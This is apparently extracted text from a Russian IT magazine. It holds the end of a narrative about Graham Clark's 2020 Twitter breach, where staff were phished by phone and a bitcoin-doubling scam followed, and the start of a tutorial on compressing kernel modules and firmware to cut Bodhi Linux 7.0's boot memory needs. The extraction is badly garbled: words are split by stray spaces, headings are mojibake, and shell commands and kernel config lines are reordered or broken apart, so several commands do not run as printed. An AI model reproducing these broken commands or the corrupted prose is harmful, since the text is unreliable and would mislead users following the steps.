жить на широкую ногу не давала ему покоя. Поз же его зна комые рас ска зыва- 
ли, что в этот пери од парень при нял ся за какие-то сов сем уж тем ные делиш- 
ки, вро де тор говли зап рещен ными вещес тва ми в дар кне те.

Во вре мя рож дес твенских каникул, 4 янва ря 2020 года, в 19:30, к незапер- 
тому чер ному вхо ду в жилой ком плекс West Chase, рас положен ный в окру ге
Citrus Falls города Там па, подъ ехал авто мобиль. Из него выб рались двое под- 
рос тков, один из которых был воору жен пис толетом.

Мо лодые люди вош ли в зда ние. Поз вонив в одну из квар тир, под рос тки
что-то ска зали находив шемуся там муж чине, пос ле чего тот дос тал ствол
и открыл огонь: один из визите ров был убит на мес те, вто рого в кри тичес ком
сос тоянии дос тавили в боль ницу.

При быв шие на мес то полицей ские обна ружи ли на сто янке поб лизос ти
от дома дру гой подоз ритель ный авто мобиль, в котором находи лось двое
перепу ган ных под рос тков. Одним из них ока зал ся Грэм Кларк, а зас тре лен- 
ный парень, как выяс нилось, был его при яте лем.

Поз же сидев ший в машине с Клар ком молодой человек рас ска зал
полиции, что Грэм уго ворил сво их дру зей под нять ся в квар тиру, где оби тал
драг дилер, и пот ребовать у него день ги, которые тот яко бы был ему дол жен.
Вро де бы понача лу Кларк даже отпра вил ся за при яте лями сле дом «для подс- 
тра хов ки», но сра зу же сбе жал, зас лышав выс тре лы.

Сам Грэм все отри цал, заявив детек тивам, что очу тил ся рядом с мес том
прес тупле ния совер шенно слу чай но.

И сно ва слу жите ли закона ничего не смог ли доказать — из полицей ских отче- 
тов сле дова ло, что доз навате лям не уда лось най ти никаких под твержде ний
при час тнос ти Клар ка к убий ству. Его отпусти ли из учас тка ров но за два дня
до окон чания каникул, и Грэм как ни в чем не бывало вер нулся в шко лу.

Вско ре подос пели резуль таты вось мимесяч ного рас сле дова ния по делу
об ограбле нии Гре га Бен нета. Здесь все обви нения с Клар ка тоже были сня- 
ты: из обна ружен ных на его сче тах 400 бит коинов пар ня зас тавили вер нуть
Бен нету 100. В то же вре мя, нес мотря на показа ния его быв ших подель ников,
ни на ком пе, ни в мобиль ном телефо не, ни в лич ной перепис ке Грэ ма сле- 
дова тели не обна ружи ли ни малей ших приз наков при час тнос ти пар ня
к каким-либо дру гим кибер прес тупле ниям.

В резуль тате дос тигну того с про кура турой досудеб ного сог лашения пос ле
вып латы доб роволь ной ком пенса ции в отно шении под рос тка не ста ли выд- 
вигать новых обви нений. Поз же юрис ты приш ли к выводу, что такая мяг кость
и уступчи вость про кура туры объ ясня лась слож ностя ми, свя зан ными с уго лов- 
ным прес ледова нием несовер шенно лет него, да еще и в отсутс твие стоп- 
роцен тных доказа тель ств его вины. Осталь ные изъ ятые день ги, вклю- 
чая 300 бит коинов, Клар ку с изви нени ями вер нули.

ÂÇËÎÌ ÂÅÊÀ

Ров но через восемь недель пос ле того, как влас ти отда ли Грэ му Клар ку боль- 
шую часть изъ ято го у него ранее капита ла и прек ратили все свя зан ные с ним
рас сле дова ния, он орга низо вал взлом, наз ванный жур налис тами самым зна- 
читель ным инци ден том кибер безопас ности за всю исто рию «Твит тера».
До 18-летия Клар ка оста валось чуть мень ше вось ми месяцев.

15 июля 2020 года в пери од меж ду 20:00 и 22:00 часами по тихо океан ско- 
му вре мени в сети появи лись тви ты от име ни Ило на Мас ка, Барака Оба мы,
Бил ла Гей тса, Ким Кар дашь ян, Джеф фа Безоса, Джо Бай дена и дру гих
селеб рити. В этих сооб щени ях зна мени тос ти обе щали вер нуть в двой ном
раз мере любую сум му в бит коинах, переве ден ную на ука зан ный крип токоше- 
лек.

Спус тя счи таные минуты поль зовате ли совер шили более 250 тран закций
на общую сум му 118 тысяч дол ларов. Боль ше у жуликов зарабо тать
не получи лось, потому что круп ные крип тобир жи быс тро смек нули, в чем
дело, и занес ли адрес мошен ничес кого крип токошель ка в блек лист. Это пре- 
дот вра тило пос тупле ние на счет еще 280 тысяч дол ларов, которые отпра вили
ска мерам довер чивые поль зовате ли интерне тов.

В это же самое вре мя в цен траль ном офи се Twitter в Сан-Фран циско сот- 
рудни ки в панике пытались выяс нить, кому и каким обра зом уда лось взло мать
соци аль ную сеть, а глав ное, что теперь делать?

Один из леген дарных тви тов

За 24 часа до это го на одном из хакер ских форумов появи лось объ явле ние
о про даже абсо лют но любого зарегис три рован ного акка унта Twitter все го
лишь за 1000 дол ларов. Спе циалис ты по кибер безопас ности, обна ружив шие
этот тред, пред положи ли, что за взло мом звез дных уче ток и махина цией
с бит коина ми сто ит автор дан ного сооб щения. Его доволь но быс тро вычис- 
лили: зло деем ока зал ся 19-лет ний парень из Великоб ритании Мей сон Шеп- 
пард.

Воз можно, имя зло умыш ленни ка так и оста лось бы неиз вес тным, если бы
пар нишка не решил выпен дрить ся, пожелав сво ей девуш ке спо кой ной ночи
с угнанно го твит тер-акка унта ее любимой киноз везды. В этот момент к рас- 
сле дова нию взло ма уже под клю чилось ФБР. Аген ты поз вонили Шеп парду
и веж ливо поин тересо вались его нас тро ением, заод но поп росив пар ня
надол го не отлу чать ся из дома, потому что за ним уже выеха ли.

Ви димо, имен но в этот момент Шеп пард наконец осоз нал, что шут ки
закон чились и в бли жай шие нес коль ко лет он будет стро чить тви ты, сидя
на нарах в неболь шом помеще нии с зареше чен ным окном. Что бы хоть как-то
пов лиять на ситу ацию, Мей сон сроч но свя зал ся с жур налис тами и при нял ся
каять ся, рас ска зывая им собс твен ную исто рию со все ми леденя щими душу
под робнос тями.

За день до опи сыва емых событий Мей сон Шеп пард поз накомил ся в «Дис- 
корде» с таинс твен ным челове ком по име ни Кирк. Тот пред ста вил ся боль шим
бос сом из ком пании Twitter и довери тель но сооб щил, что име ет неог раничен- 
ный дос туп ко всем поль зователь ским акка унтам, про демонс три ровав
в качес тве пру фа нес коль ко скрин шотов админки соци аль ной сети. Шеп пард
и еще один поль зователь, Нима Фазели под ником Rolex, конеч но же,
не повери ли новому зна комо му и пот ребова ли более вес ких доказа тель ств.
Кирк незамед литель но пре дос тавил их, отпра вив условлен ные тви ты с ука- 
зан ных Шеп пардом и Фазели акка унтов.

По чувс тво вав запах лег ких мил лионов, тро ица тут же задума ла стар тап:
Мей сон и Фазели ста нут про давать учет ки с кра сивы ми име нами на хакер ских
форумах, делясь при былью с Кир ком, а тот бес плат но выдаст им некото рое
количес тво акка унтов в качес тве комис сии для будущей переп родажи.

Мей сон Шеп пард (сле ва) и Нима Фазели (спра ва)

Од нако биз нес не пошел. Про шарен ные оби тате ли дар кне та не повери ли
в нелепую исто рию про сот рудни ка Twitter и не спе шили покупать акка унты
за тысячу дол ларов, пре бывая в уве рен ности: товар ворован ный, а зна чит,
закон ные вла дель цы уче ток име ют неп лохие шан сы вер нуть их себе в самом
бли жай шем будущем.

Кирк тоже понимал, что взлом соци аль ной сети очень ско ро будет обна- 
ружен и вре мени у него оста лось очень-очень мало. В ито ге он плю нул
на сво их ново явленных деловых пар тне ров и самолич но запус тил скам
с «удво ением бит коинов», резуль татом которо го стал небыва лый шум в прес- 
се, буря в новос тях и под клю чение к гром кому рас сле дова нию суровых аген- 
тов ФБР.

Под псев донимом Кирк выс тупал Грэм Кларк и его ано ним ный 15-лет ний
при ятель по кибер кри миналь ным делам, который учас тво вал вмес те с Грэ- 
мом еще в биз несе по под мене SIM-карт. Этот юный пар нишка, которо му
в силу его неж ного воз раста не были предъ явле ны никакие пуб личные обви- 
нения, ока зал ся нам ного более прод винутым в тех ничес ких воп росах, чем
сам Кларк. Парень зас ветил ся на хакер ских бор дах в 13-лет нем воз расте
и даже, по слу хам, учас тво вал в одном из успешных взло мов пор тала
GoDaddy.

В 2020 году на нашей греш ной пла нете раз разилась эпи демия корона- 
вирус ной инфекции, мно гие ком пании ста ли экс трен но перево дить сот рудни- 
ков на уда лен ную работу. Механиз мы авто риза ции и про токо лы безопас ности
еще не были тол ком отла жены. Не исклю чени ем в этом спис ке ста ла и ком- 
пания Twitter. Кларк и его 15-лет ний друг решили вос поль зовать ся сло жив- 
шей ся ситу ацией.

Для начала они отпра вились в LinkedIn и сос тавили перечень всех сот- 
рудни ков Twitter, которых сумели там най ти. Затем, зарегис три ровав плат ный
акка унт с воз можнос тями под бора пер сонала, ребята получи ли дос туп
к телефон ным номерам этих людей. Юные жулики ста ли зво нить по соб- 
ранным номерам, пред став ляясь сот рудни ками тех ничес кого депар тамен та
Twitter.

Кларк, у которо го был более взрос лый голос и хорошо под вешен ный язык,
забал тывал потен циаль ных жертв, сооб щая, что у адми нов ком пании воз-
никли проб лемы с их учет ной записью, поэто му сле дует заново авто ризо вать- 
ся на кор поратив ном пор тале по ссыл ке, которая, разуме ется, вела
на фишин говую веб-стра ницу.

По лучив таким обра зом дос туп к кор поратив ному пор талу Twitter, Кларк
при нял ся искать сот рудни ков, име ющих в ком пании выс шие кор поратив ные
при виле гии, и начал ата ковать подоб ным обра зом уже их. И 14 июля один
из адми нис тра торов, имев ших дос туп к панели управле ния акка унта ми Twitter,
попал ся в забот ливо рас став ленные сети. С это го момен та Кларк получил
пол ный дос туп ко всем учет ным записям поль зовате лей соци аль ной сети.
Пос ле это го он и объ явил ся в «Дис корде» под име нем Кирк.

У аген тов ФБР ушло две недели на то, что бы рас кру тить всю эту цепоч ку
событий. 31 июля 2020 года Грэм Кларк был арес тован. За этим пос ледова ли
арес ты Мей сона и Нимы — как ока залось, оба незадач ливых «пред при нима- 
теля» исполь зовали для регис тра ции на «Бинан се» свои нас тоящие
водитель ские пра ва и телефон ные номера, а затем выводи ли зарабо тан ную
на про даже угнанных акка унтов крип ту через эти акка унты.

По законам США 19-лет нему Мей сону за соучас тие во взло ме, мошен- 
ничес тве и про даже кра деных уче ток гро зило до 45 лет тюрем ного зак- 
лючения. Ниму Фазели обви няли все го лишь в пособ ничес тве и подс тре- 
катель стве к незакон ному дос тупу к компь ютер ным сис темам, за что по аме- 
рикан ским законам полага ется до пяти лет тюрем ного зак лючения и штраф
в раз мере до 250 тысяч дол ларов США.

В ито ге экс тра диро ван ный из Англии в Аме рику Шеп пард получил
от федераль ного судьи пять лет тюрь мы, Фазели и вов се отде лал ся условным
сро ком и штра фом, зак лючив сдел ку со следс тви ем. Для Мей сона
это наказа ние мож но счи тать доволь но суровым, осо бен но с уче том того, что
Кларк фак тичес ки обма ном исполь зовал их с Фазели, явля ясь орга низа тором
и вдох новите лем прес тупле ния.

Что же каса ется самого Клар ка, то ему сно ва уда лось вый ти сухим
из воды. Пос коль ку на момент совер шения прес тупле ния Грэм был несовер- 
шенно лет ним, его дело рас смат ривалось в осо бом поряд ке. Кларк приз нал
вину, рас каял ся и получил три года тюрем ного зак лючения. Очень гуман но,
учи тывая его роль во всей этой исто рии.

ÏÎÑËÅÑËÎÂÈÅ

Под рос тки и есть под рос тки. Имея неог раничен ный дос туп ко всем
без исклю чения поль зователь ским акка унтам Twitter, Грэм Айвен Кларк мог
обру шить рынок акций и зарабо тать на этом мил лиар ды дол ларов. Он был
в сос тоянии обва лить капита лиза цию Apple, Microsoft и Amazon. Обла дая
дос тупом к учет кам мировых полити ков и кон грессме нов, он, веро ятно, даже
имел воз можность начать третью мировую вой ну. Вмес то это го Кларк со сво- 
им малолет ним подель ником устро ил наив ный скам на сот ню тысяч бак сов,
да и те не сумел пус тить в дело, пос коль ку служ ба безопас ности крип тобир жи
пра виль но оце нила ситу ацию и быс тро заб локиро вала все подоз ритель ные
тран закции.

Впро чем, суд над Клар ком тоже прев ратил ся в фор менную комедию —
Гол ливуд обза виду ется. Пос коль ку пан демия была еще в самом раз гаре,
судеб ные заседа ния про води лись в Zoom. Узнав об этом, оби тате ли хакер- 
ских борд ста ли под клю чать ся к тран сля циям, пред став ляясь жур налис тами
и сот рудни ками информа цион ных агентств. В резуль тате выс тупле ния про- 
куро ра и пре ния сто рон пери оди чес ки пре рыва лись собачь им лаем и неп- 
ристой ными зву ками. В кон це кон цов кто-то сумел зах ватить экран и раз влек
при сутс тву ющих задор ным пор ногра фичес ким виде оро ликом.

Су деб ные прис тавы банили хулига нов со ско ростью све та, но это
не помога ло: на связь пос тоян но выходи ли новые. Тем не менее суд завер- 
шился, и Кларк услы шал свой при говор. Если бы Грэм был взрос лым,
по совокуп ности предъ явленных обви нений из 30 пун ктов он мог заг реметь
за решет ку на 210 лет. Все го лишь три года тюрем ного зак лючения зву чали
как оправда тель ный при говор. Кста ти, этот срок как раз ско ро закон чится.

Нес мотря на то, что Грэм доб роволь но отдал влас тям все добытые в ходе
ата ки на Twitter день ги, осуж денно му оста вили накоп ленные им ранее бит- 
коины (доказать кри миналь ное про исхожде ние этих накоп лений у суда так
и не получи лось) — их сто имость на момент выхода Грэ ма из тюрь мы сос- 
тавила уже 12 мил лионов дол ларов. Неп лохой бонус для вче раш него школь- 
ника.

На вер ное, челове чес тву повез ло, что этот «взлом века» орга низо вал
не умуд ренный опы том, седой и цинич ный хакер, а прос той паренек из Там- 
пы, который прос то хотел зарабо тать нем ного денег на новые часы с блес- 
тяшка ми. Ина че пос ледс твия мог ли быть куда более печаль ными.

mailto:valentin@holmogorov.ru
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ТРЮКИ

В этой статье я покажу, как пересоб рать
Bodhi Linux 7.0 для сни жения тре бова ний
к опе ратив ной памяти на эта пе заг рузки
в демонс тра цион ном режиме или при уста- 
нов ке. При этом фун кци ональ ность совер- 
шенно не пос тра дает. Ты най дешь здесь
два сце нария обо лоч ки, с помощью
которых смо жешь сде лать то же самое
с дру гими дис три бути вами, осно ван ными
на Ubuntu 22.04 LTS. А в про цес се узна ешь
мно го инте рес ного о Linux.

ÈÇ-ÇÀ ×ÅÃÎ ÂÅÑÜ ÑÛÐ-ÁÎÐ?

При рода не тер пит пус тоты. Носите ли информа ции, хоть их емкость тоже рас- 
тет семимиль ными шагами, не справ ляют ся с лавиной дан ных, которая на них
обру шива ется.

В кон це девянос тых компь ютер с 32 Мбайт опе ратив ной памяти и дис ком
на 3,2 Гбайт был типич ным инс тру мен том офис ного работ ника и меч той сту- 
ден та. Сегод ня труд но уди вить компь юте ром, харак терис тики которо го
в 1000 раз выше, но который по-преж нему работа ет на пре деле сво их воз- 
можнос тей.

Час тично это объ ясня ется новым уров нем слож ности реша емых задач,
но иног да встре чают ся огра ниче ния, которым труд но най ти оправда ние.

Чуть боль ше года назад в статье «
» я опи сал проб лему некото рых дис три бути- 

вов: при заг рузке Linux исполь зует минималь ную фай ловую сис тему (МФС),
сжа тый образ которой заг ружа ется в опе ратив ную память, в ней же раз жима- 
ется, пос ле чего еще копиру ется в началь ную кор невую фай ловую сис тему,
тоже хра нящу юся в опе ратив ной памяти. И для всей этой акро бати ки памяти
тре бует ся боль ше, чем для обыч ной работы опе раци онной сис темы.

Linux на диете. Умень шаем тре бова ния
Bodhi Linux к опе ратив ной памяти

Ramfs, rootfs and initramfs

Боль ше все го памяти занима ют драй веры устрой ств (пре иму щес твен но —
сетевых и виде оадап теров) и дво ичные фай лы, исполь зуемые ими (мик- 
ропрог раммы и про шив ки).

Ис клю чив эти ком понен ты из МФС, мож но уста новить Bodhi Linux 6.0,
осно ван ный на Ubuntu 20.04 LTS, на компь ютер с 512 Мбайт ОЗУ (тог да
как изна чаль но тре бова лось 768 Мбайт). Ты потеря ешь толь ко ани миро ван- 
ную зас тавку и воз можность заг рузки по сети. Нек ритич но, но пра виль ное
решение проб лемы по Аль тшул леру дол жно сох ранять фун кци ональ ность
сис темы как минимум в объ еме пер воначаль ного замыс ла.

Тем вре менем пло хо под дающееся кон тро лю рас пухание обра за МФС
набира ет обо роты с выходом новых устрой ств: нуж ны все новые и новые
драй веры для их под дер жки. Новой вер сии Bodhi Linux 7.0, которая осно вана
на Ubuntu 22.04 LTS, для заг рузки с офи циаль ного дис три бутив ного носите ля
уже не хва тает 768 Мбайт! Ничего уди витель ного: сум марные тре бова ния
к опе ратив ной памяти при под готов ке МФС  теперь сос- 

тавля ют 111 Мбайт + 340 Мбайт + 346 Мбайт = 797 Мбайт.

casper/initrd.gz

Эта угро жающая тен денция прив лекла вни мание чле нов сооб щес тва Ubuntu,
и резуль таты про веден ных ими изыс каний внед рены в пос леднем на дан ный
момент выпус ке — Ubuntu 23.10. В это неп росто поверить, но Ubuntu 23.10
Server стар тует с дис три бутив ного носите ля на сис теме с 384 Мбайт ОЗУ.
Как уда лось дос тичь столь пот ряса юще го резуль тата?

È ÊÀÊ ÝÒÎ ÍÎÑßÒ ÒÅÏÅÐÜ?

Раз работ чики руководс тво вались тре мя желани ями:
из бавить ся от ошиб ки «error: out of memory» на началь ном эта пе заг рузки
опе раци онной сис темы;

•

умень шить раз мер заг рузоч ного раз дела ;• /boot

ус корить заг рузку опе раци онной сис темы.•

Ис сле дова тели быс тро приш ли к выводу, что клю чевую роль тут игра ет МФС,
а имен но ее раз мер и спо соб ком понов ки. Свой ства алго рит ма сжа тия осо- 
бен но замет ны на малоп роиз водитель ных сис темах с огра ничен ным объ- 
емом опе ратив ной памяти. В пос тавках Ubuntu, начиная с вер сии 22.04,
для ком прес сии началь ной кор невой фай ловой сис темы initramfs исполь- 
зовал ся метод , пос коль ку  ока зал ся слиш ком мед ленным
для некото рых вычис литель ных сис тем. Таким обра зом, обна ружи вает ся про- 
тиво речие: сжа тие полез но для того, что бы сни зить тре бова ния к объ ему
памяти и хра нили ща информа ции, но вре дит быс трой заг рузке сис темы.

zstd -1 zstd -19

Reduce initramfs size and speed up the generation
in Ubuntu 23.10

Что бы раз решить это про тиво речие, раз работ чики пред ложили сжи мать
не всю МФС как еди ницу хра нения, а вхо дящие в нее фай лы модулей ядра
с драй верами устрой ств и с исполь зуемы ми ими дво ичны ми дан ными, каж- 
дый по отдель нос ти. В поль зу такого решения говорят сле дующие аргу мен ты.
Для работы кон крет ной плат формы нуж ны лишь нес коль ко драй веров из того
обширно го набора, который пос тавля ется в сос таве дис три бути ва. При заг- 
рузке опе раци онной сис темы будут вос тре бова ны и пот ребу ют рас паков ки
лишь нес коль ко фай лов из сос тава МФС, а осталь ные будут хра нить ся в ком- 
пак тной фор ме на слу чай изме нения кон фигура ции. К тому же для сжа тия
мож но вос поль зовать ся более ресур соем ким и эффектив ным методом ком- 
прес сии, потому что эта про цеду ра выпол няет ся однократ но, а один раз мож- 
но и подож дать.

Мо дифи циро ван ный вари ант ком понов ки обра за МФС 
 для дис три бути ва Bodhi Linux 7.0 тре бует в опе ратив ной памяти 97 Мбайт

+ 47 Мбайт + 126 Мбайт = 270 Мбайт.

casper/initrd.
zst

Те перь initrd сос тоит не из трех, а из четырех час тей. Пер вые две — как и
рань ше — бинар ные бло ки с мик рокода ми для про цес соров AMD и Intel,
помещен ные в нес жатые архи вы cpio. А вот сле дом за ними теперь идет
еще один нес жатый архив cpio, который содер жит пред варитель но сжа тые
фай лы с модуля ми ядра и дво ичны ми дан ными драй веров устрой ств. Зак- 
лючитель ная часть пред став ляет собой сжа тый архив cpio с той частью МФС,
которая оста лась пос ле выноса из нее модулей ядра и фай лов rmware.

Бла года ря тому что раз мер сжа той час ти сущес твен но умень шил ся, для ее
рас паков ки ста ло тре бовать ся мень ше буфер ной опе ратив ной памяти. При- 
мене ние к модулям ядра и фай лам rmware более эффектив ного метода сжа- 
тия спо собс тво вало, помимо про чего, умень шению раз мера фай ла initrd.
Как резуль тат — сни жение тре бова ний к опе ратив ной памяти на эта пе заг- 
рузки с пол ным сох ранени ем фун кци ональ нос ти, что наг лядно демонс три- 
рует ся дис три бутив ными носите лями Ubuntu 23.10.

Ты, навер ное, зна ешь, что содер жимое ISO-обра зов удоб но прос матри вать
с помощью фай лового менед жера  из пос тавки .

Но его же мож но исполь зовать для ана лиза содер жимого обра зов МФС.
Надо толь ко выб рать файл initrd и вос поль зовать ся пун ктом меню «Файл —
Открыть внут ри #». Тог да на панели отоб разит ся перечень его сос тавных час- 
тей, каж дую из которых мож но открыть как обыч но, нажав Enter.

7zFM.exe ар хивато ра 7-Zip

Ана лиз содер жимого фай ла initrd с помощью фай лового менед -
жера 7zFM.exe

Ес тес твен но, все опи сан ное про изош ло не само собой, а пот ребова ло уси- 
лий от раз работ чиков дис три бути ва. Во-пер вых, для 

 при его сбор ке в кон фигура ции дол жны при сутс тво вать сле дующие
парамет ры:

сжа тия фай лов с модуля- 
ми ядра

# CONFIG_MODULE_COMPRESS_NONE is not set
Y CONFIG_MODULE_COMPRESS_ZSTD=

Во-вто рых, для 
кон фигура ция ядра дол жна вклю чать такие парамет ры:

обес печения под груз ки сжа тых бинар ных фай лов rmware

Y CONFIG_FW_LOADER_PAGED_BUF=
Y CONFIG_FW_LOADER_COMPRESS=

Y CONFIG_FW_LOADER_COMPRESS_ZSTD=

В-треть их, под дер жка этой тех нологии дол жна быть реали зова на в сце нарии
из , который фор миру ет образ МФС.initramfs-tools

Ос тает ся толь ко порадо вать ся за счас тли вых обла дате лей Ubuntu 23.10,
которые получи ли все перечис ленные доработ ки пря мо «из короб ки». Но как
быть тем, кто пред почита ет ста биль ность и ори енти рует ся на LTS-дис три- 
бути вы с дли тель ным вре менем под дер жки? Ждать сле дующе го выпус ка?
Прак тика показы вает, что в слу чае Bodhi Linux это может затянуть ся на дол гие
годы... А давай поп робу ем дорабо тать дис три бутив сво ими силами! В кон це
кон цов, тот, кто сам пилит свои дро ва, сог рева ется дваж ды. Путь намечен,
оста лось сде лать пер вый шаг. Как там у клас сиков? «Вижу цель, не вижу пре- 
пятс твий!..»

×ÒÎ Ó ÍÀÑ Ñ ßÄÐÎÌ?

Итак, для работы механиз мов сжа тия фай лов модулей и rmware тре бует ся
под дер жка на уров не ядра. За чем же дело ста ло? Заг ружа ем исходни ки,
выс тавля ем нуж ные опции, запус каем сбор ку и идем пить кофе. Так-то оно
так, но есть нюанс.

Во-пер вых, с заменой ядра при дет ся модифи циро вать и сос тав основной
фай ловой сис темы дис три бути ва, находя щей ся в фай ле 

. Во-вто рых, Canonical как изда тель Ubuntu под писыва- 

ет свои ядра элек трон ной циф ровой под писью, что поз воля ет заг ружать эту
опе раци онную сис тему на компь юте рах с EFI без отклю чения нас трой ки
безопас ной заг рузки Secure Boot. В общем, что бы не делать лиш нюю работу
и не ока зать ся у раз битого корыта, луч ше будет вос поль зовать ся штат ным
ядром дис три бути ва, если, конеч но, оно будет делать то, что нам нуж но.

casper/
filesystem.squashfs

Про ще все го узнать кон фигура цию ядра из кон фига, находя щего ся
в катало ге  уста нов ленной опе раци онной сис темы. Для ядра 5.15.0-

78 инте ресу ющие нас парамет ры выг лядят так:

/boot

y CONFIG_MODULE_COMPRESS_NONE=
# CONFIG_MODULE_COMPRESS_GZIP is not set
# CONFIG_MODULE_COMPRESS_XZ is not set
# CONFIG_MODULE_COMPRESS_ZSTD is not set
… 

y CONFIG_FW_LOADER_PAGED_BUF=
y CONFIG_FW_LOADER_COMPRESS=

Пер вый блок парамет ров наводит на мысль, что с име ющим ся ядром ничего
пут ного не вый дет, ведь сжа тие модулей отклю чено. На самом деле рано
отча ивать ся. Я, нап ример, и не пла ниро вал пересо бирать все модули
из исходных тек стов. Ведь мож но самому сжать име ющиеся фай лы
с помощью соот ветс тву ющих ути лит. По край ней мере, сто ит поп робовать.

Со вто рым бло ком, на пер вый взгляд, все в поряд ке... Хотя пос той, а где
параметр ?.. А его-то и нет! Потому что

сжа тие rmware по алго рит му zstd было добав лено в ядро с вер сии 5.19, а до
это го под разуме валось исполь зование алго рит ма xz. Мож но ска зать, что нам
и так повез ло, потому что до вер сии 5.3 ядро вооб ще не уме ло работать
со сжа тыми бинар ными фай лами под дер жки аппа рату ры.

CONFIG_FW_LOADER_COMPRESS_ZSTD

В целом уви ден ное обна дежи вает. Мож но прис тупать к натур ным испы- 
тани ям на све жей уста нов ке Bodhi Linux 7.0.

ÒÐÅÍÈÐÎÂÊÀ ÍÀ ÌÎÄÓËßÕ ßÄÐÀ

Я решил начать со сжа тия модулей ядра. В качес тве подопыт ного был выб ран
драй вер фик тивно го сетево го адап тера , который не вклю чен

в авто заг рузку и нек ритичен для работы опе раци онной сис темы. Но перед
началом экспе римен тов я все-таки соз дал его резер вную копию в домаш нем
катало ге:

dummy.ko

TESTMODULE=/usr/lib/modules/5.15.0-78-generic/kernel/drivers/net/
dummy.ko 
 cp $TESTMODULE ~/dummy.ko.bak

За тем про извел сжа тие фай ла модуля с помощью ути литы :xz

xz sudo -C crc32 $TESTMODULE

Пос ле запус ка  резуль тат сжа тия ока зал ся в фай ле с рас ширени ем ,
а исходный файл был уда лен:

xz .xz

 

 

$ ls -l $TESTMODULE $TESTMODULE.xz 
ls: невоз можно получить дос туп к '/usr/lib/modules/5.15.0-78-
generic/kernel/drivers/net/dummy.ko':
Нет такого фай ла или катало га 
/usr/lib/modules/5.15.0-78-generic/kernel/drivers/net/dummy.ko.xz

По ка что все идет по пла ну. Я еще рань ше пос мотрел, что в initrd от Ubuntu
23.10 фай лы сжа тых модулей име ют рас ширение , так что это нор маль- 

но. Нас тупил момент исти ны — поп робу ем заг рузить сжа тый модуль ядра:

.zst

 

 

$ sudo modprobe dummy 
modprobe: ERROR: could not insert 'dummy': Unknown symbol in module, 
or unknown parameter (see dmesg)

Раз ERROR, зна чит, ничего хороше го... Неуже ли ничего не получит ся? Стоп!
Имя модуля изме нилось, а зависи мос ти-то мы обно вить забыли? Исправ- 
ляем оплошность:

sudo depmod -a

Пос ле это го коман да заг рузки драй вера  отра баты вает мол ча, а это

хороший приз нак. Про веря ем:

dummy

 

 

$ lsmod | grep ^dummy 
dummy   16384  0

Так и есть, сжа тый модуль заг рузил ся. Это уже полови на успе ха! Мож но
выдох нуть и выг рузить модуль:

sudo modprobe -r dummy 

Но мы исполь зовали xz-ком прес сию, а в Ubuntu 23.10 при меня ют алго ритм
zstd. Наше ядро не под держи вает zstd-сжа тие дво ичных фай лов про шивок,
одна ко про модули с опре делен ностью пока ничего ска зать нель зя. А давай
вос ста новим файл модуля и поп робу ем zstd!

unxz .xz sudo $TESTMODULE
zstd    .zst sudo -19 $TESTMODULE -o $TESTMODULE
 sudo rm $TESTMODULE

sudo depmod -a

Сде лано. Про веря ем:

 

 

$ sudo modprobe dummy 
$ lsmod | grep ^dummy 
dummy   16384  0 
$ sudo modprobe -r dummy

Смот ри-ка, так тоже работа ет! Так что можешь выбирать тот метод сжа тия,
который тебе боль ше нра вит ся.

Продолжение статьи →
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ЗАГРУЖАЕМ СОВРЕМЕННЫЙ LINUX,
ИСПОЛЬЗУЯ МИНИМУМ ПАМЯТИ

ТРЮКИ  НАЧАЛО СТАТЬИ←

À ÒÅÏÅÐÜ — FIRMWARE. ß ÑÊÀÇÀË — FIRMWARE!

Зай мем ся сжа тием дво ичных фай лов устрой ств, рас положен ных в вет ке фай- 
ловой сис темы . Основная слож ность на дан ном эта пе —
про вер ка того, что сжа тие этих фай лов не наруша ет фун кци они рова ние сис- 
темы. Тут не подой дет «сфе ричес кое устрой ство в ваку уме», которое мы
исполь зовали для про вер ки модулей ядра. Под ходящих устрой ств сре ди эму- 
лиру емых гипер визором VirtualBox я тоже не нашел. Зна чит, при дет ся про- 
водить испы тания на реаль ном обо рудо вании, что нес коль ко осложня ет дело.
Перед тем как бро сать ся в бой, я решил пос мотреть, как выг лядит реали- 
зация этой под систе мы в исходных тек стах, которые для это го уста новил
и рас паковал:

/usr/lib/firmware

apt sudo install linux-source 
 tar -xBf /usr/src/linux-source-5.15.0/linux-source-5.15.0.tar.bz2 

cd linux-source-5.15.0 

Да вай подума ем, как драй веры устрой ств могут заг ружать bin-фай лы.
По-видимо му, драй вер дол жен про читать содер жимое фай ла, находя щего ся
в нед рах . Но почему под дер жка сжа тия этих фай лов нас- 

тра ивает ся цен тра лизо ван но на уров не ядра? Это может озна чать, что ядро
пре дос тавля ет драй верам какой-то общий API, что, вооб ще говоря, зву чит
логич но. Поищем в катало ге  стро ку , которая дол жна

вхо дить в пол ный путь фай ла:

/usr/lib/firmware

drivers lib/firmware

    grep -R --include '*.c' 'lib/firmware' drivers 

В выведен ном спис ке пос ле мно жес тва строк, соот ветс тву ющих раз личным
устрой ствам, замеча ем инте рес ный блок, намека ющий на общий кон текст:

drivers/base/firmware_loader/main.c:    "/lib/firmware/updates/" UTS_
RELEASE, 

, drivers/base/firmware_loader/main.c:    "/lib/firmware/updates"
drivers/base/firmware_loader/main.c:    "/lib/firmware/" UTS_RELEASE, 
drivers/base/firmware_loader/main.c:    "/lib/firmware"

При мер но в середи не фай ла 

находит ся опре деле ние фун кции , содер жащее сле- 
дующие стро ки:

drivers/base/firmware_loader/main.c
_request_firmware

        ret = fw_get_filesystem_firmware(device, fw->priv, "", NULL);
   ...
#ifdef CONFIG_FW_LOADER_COMPRESS_ZSTD
        if (ret == -ENOENT && nondirect)

             ret = fw_get_filesystem_firmware (device, fw->priv, ".zst",
fw_decompress_zstd);
#endif
#ifdef CONFIG_FW_LOADER_COMPRESS_XZ
        if (ret == -ENOENT && nondirect)

             ret = fw_get_filesystem_firmware (device, fw->priv, ".xz",
fw_decompress_xz);
#endif

Бег лое зна комс тво с ними дает понять, что заг ружен ные тек сты ядра соот- 
ветс тву ют более новой вер сии, в которую уже добави ли под дер жку zstd-сжа- 
тия bin-фай лов. Зна чит, ядра с вклю чен ной под дер жкой сжа тых дво ичных
фай лов при зап росе на заг рузку фай ла сна чала исполь зуют его канони чес кое
имя, а в слу чае неуда чи пов торя ют попыт ки, добав ляя к нему суф фиксы 
и . Най ти пакет с исходны ми тек ста ми ядра, в точ ности соот ветс тву ющи ми

вер сии пер вого выпус ка Ubuntu 20.04 LTS, мне не уда лось. Что бы раз веять
пос ледние сом нения, я отыс кал в репози тории ядра Linux 

, и пос мотрел, что оно изме нило и какова была
ситу ация до него.

.zst
.xz

ис прав ление,
добав ляющее ZSTD-сжа тие

Те перь с опре делен ностью мож но ска зать, что к бинар ным фай лам драй- 
